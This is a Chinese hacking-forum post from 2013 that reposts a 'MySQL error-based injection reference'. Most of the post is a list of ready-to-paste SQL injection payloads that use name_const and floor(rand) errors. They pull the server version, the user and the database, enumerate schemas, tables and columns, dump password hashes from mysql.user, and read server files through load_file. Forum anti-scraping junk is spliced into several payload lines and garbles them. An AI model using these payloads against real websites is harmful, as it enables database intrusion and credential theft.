找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2422|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 8 c8 d* T" [3 h7 v9 c
' z$ E- b; M, l3 Y; ?+ V. ?

3 Q) p; t% T: @! MMysql暴错注入参考(pdf),每天一贴。。。
; W0 e, F) d! I8 J( ~6 k8 I& k! i9 [
MySql Error Based Injection Reference
- m. P' L; T  m; w2 A& T" O[Mysql暴错注入参考]0 M' ~1 f, d* K2 g) v$ ~9 G
Authornig0s19924 k: W. |* o7 v3 ~9 n7 b8 l9 X
Blog:http://pnig0s1992.blog.51cto.com/( m2 _2 A& a" a
TeAm:http://www.FreeBuf.com/
- e+ _9 N9 K+ J! s* U1 yMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
8 A, P2 B% w+ U( A/ x小部分版本使用name_const()时会报错.可以用给出的Method.2测试, W& R9 b, s) e5 d# U
查询版本:
: A$ s* i: @$ ~5 |Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
  l" y7 q2 N" s' k! [; o( Q( I" gjoin+(select+name_const(@@version,0))b)c)
  Z7 I+ }  Y7 {6 w2 p  F5 aMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
% c: N1 E! P: Yup by a)b)
2 @8 y; s# d6 Q+ k" @% N9 ]查询当前用户:
2 F, a, l. C# r7 y- MMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
6 G0 R; K- O" @9 [1 j" ZMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r! x3 |/ j0 H4 l2 x" \+ A
and(0)*2))x+from+information_schema.tables+group+by+x)a)
$ D9 N. p( w- c" Q9 |查询当前数据库:4 t0 d/ c! i& `4 i- O1 e
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)* H% h: S1 b9 N8 p; J8 r* t/ e
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo4 U9 D7 J9 z2 E) O4 j
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)7 e4 H: m) h6 T8 i9 m# E3 ]4 D
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
2 G  |5 ~% \1 n" `# d/ `LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
0 O! H4 Z- j2 b$ D" R4 A顺序替换
# [* C& h! o: d爆指定库数目:
0 H7 J- s, J0 kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
! O4 I% G$ l# ?% mable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, k) w7 @' C7 G9 d5 Q2 {" W; S+by+x)a)+and+1=1 0x6D7973716C=mysql' \6 R) w5 `  A' A
依次爆表:# k! x) L8 \" R6 w/ w6 A- q
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
0 P* O* s4 B+ m3 xable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
+ E. R" _! [0 F7 H% k5 y) cbles+group+by+x)a)+and+1=1
+ O) Y/ p: ~; H& P5 @; V$ r0x6D7973716C=Mysql 将n顺序替换
+ T% q6 D8 ?4 ?% i8 U' R爆表内字段数目:4 J: Q- U' X6 M
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
% m2 p; e; h& b  _) m" o+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran' d$ w( _' z* ^4 `
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1( W% L! q( S; f$ P* A
依次爆字段:
0 m, G5 [7 s' D/ A" O, B/ rand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where- g- W# H$ q. `9 J% M
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) u$ Q" ~* N2 `& S$ B7 m
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
: N3 m7 {" o8 W& k依次暴内容:
, e8 L. c8 ?7 `. Qand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
6 a9 V* B  @* Qma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
5 e1 P" [+ F: }# ]. e0 g将n顺序替换( D: s- k1 [; `' d' e! P
爆文件内容:" w5 A, S2 V  e* y5 I1 R
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
8 w- b: ]+ c; {" cfrom+information_schema.tables+group+by+a)b) " M/ H' Y! J3 B6 w5 l3 h
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
; B  q1 ^$ M+ p' z6 b, OThx for reading.
  F0 e! }& V' |* G: H* p; m- B2 d, [$ G) o% G% O' d
不要下载也可以, 8 p. ~' M% a* X4 [

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表